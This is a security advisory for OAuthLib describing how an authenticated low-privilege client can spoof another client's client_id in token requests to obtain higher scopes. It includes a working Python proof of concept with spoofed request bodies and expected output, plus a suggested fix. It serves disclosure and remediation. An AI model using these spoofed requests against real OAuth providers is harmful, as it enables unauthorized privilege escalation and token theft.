OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client

Summary

OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.

In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().

As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.

Affected Surface

The affected public surface is the OAuth2 token endpoint handling for:

• client_credentials
• password / Resource Owner Password Credentials

The issue is relevant to OAuthlib provider deployments where:

• the attacker has credentials for one valid lower-privilege confidential client;
• another client has broader grants or scopes;
• the application validator uses the client_id argument passed by OAuthlib in validate_grant_type() or validate_scopes(), as the RequestValidator API is designed to support.

Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.

Details

Request parses query and body parameters into request attributes, including client_id:

• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397

The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:

• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66

For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:

• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119

The problematic order is:

if not self.request_validator.authenticate_client(request):
    ...
elif not hasattr(request.client, 'client_id'):
    ...

self.validate_grant_type(request)

request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)

Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".

The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:

• validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162
• validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176

The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:

• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
• https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195

This creates an inconsistent identity state:

request.client.client_id == "low"   # authenticated client
request.client_id == "high"         # attacker-supplied request parameter

OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.

Impact

An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.

Concrete impact can include:

• issuing access tokens with scopes not assigned to the authenticated client;
• allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
• persisting tokens under a spoofed client_id while the authenticated client object is different.

This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.

PoC

Create the following files in an empty directory.

requirements.txt:

oauthlib==3.3.1

repro.py:

import base64
import json

from oauthlib.oauth2 import (
    BearerToken,
    ClientCredentialsGrant,
    RequestValidator,
    ResourceOwnerPasswordCredentialsGrant,
    TokenEndpoint,
)


class Client:
    def __init__(self, client_id):
        self.client_id = client_id


CLIENTS = {
    "low": {
        "secret": "low-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read"},
    },
    "high": {
        "secret": "high-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read", "admin"},
    },
}


class DemoValidator(RequestValidator):
    def __init__(self):
        self.saved_tokens = []

    def authenticate_client(self, request, *args, **kwargs):
        authorization = request.headers.get("Authorization", "")
        prefix = "Basic "
        if not authorization.startswith(prefix):
            return False

        decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
        client_id, secret = decoded.split(":", 1)
        record = CLIENTS.get(client_id)
        if record is None or record["secret"] != secret:
            return False

        # This is the authenticated client identity.
        request.client = Client(client_id)
        return True

    def client_authentication_required(self, request, *args, **kwargs):
        return True

    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and grant_type in record["grants"]

    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and set(scopes or []) <= record["scopes"]

    def get_default_scopes(self, client_id, request, *args, **kwargs):
        return []

    def validate_user(self, username, password, client, request, *args, **kwargs):
        if username == "alice" and password == "wonderland":
            request.user = username
            return True
        return False

    def save_bearer_token(self, token, request, *args, **kwargs):
        self.saved_tokens.append({
            "token": dict(token),
            "authenticated_client_id": request.client.client_id,
            "request_client_id": request.client_id,
            "scopes": list(request.scopes or []),
        })


validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
    default_grant_type="client_credentials",
    default_token_type=token,
    grant_types={
        "client_credentials": ClientCredentialsGrant(validator),
        "password": ResourceOwnerPasswordCredentialsGrant(validator),
    },
)


def low_client_headers():
    value = base64.b64encode(b"low:low-secret").decode("ascii")
    return {"Authorization": f"Basic {value}"}


def token_request(body):
    _headers, response_body, status = endpoint.create_token_response(
        "https://auth.example/token",
        body=body,
        headers=low_client_headers(),
    )
    return status, json.loads(response_body)


def assert_rejected(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status == 200:
        raise SystemExit(f"{label}: expected rejection, got success")


def assert_spoofed_success(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status != 200:
        raise SystemExit(f"{label}: expected token, got {status} {response}")
    if response.get("scope") != "admin":
        raise SystemExit(f"{label}: expected admin scope, got {response}")

    saved = validator.saved_tokens[-1]
    if saved["authenticated_client_id"] != "low":
        raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
    if saved["request_client_id"] != "high":
        raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")


assert_rejected(
    "control client_credentials as low requesting admin",
    "grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
    "spoofed client_credentials as low with client_id=high",
    "grant_type=client_credentials&client_id=high&scope=admin",
)

assert_rejected(
    "control password as low requesting admin",
    "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
    "spoofed password as low with client_id=high",
    "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)

print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))

Run:

python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py

Expected result:

control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED

The success condition is that both successful token responses are produced while the saved token state shows:

{
  "authenticated_client_id": "low",
  "request_client_id": "high",
  "scopes": ["admin"]
}

That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.

Suggested Remediation

After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.

For authenticated confidential-client flows, a safer invariant is:

if request.client is not None:
    if request.client_id is not None and request.client_id != request.client.client_id:
        raise InvalidClientError(...)
    request.client_id = request.client.client_id

This should happen before validate_grant_type() and validate_scopes() are called.

Reporters:

• liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
• ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
• cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
• chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
• cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/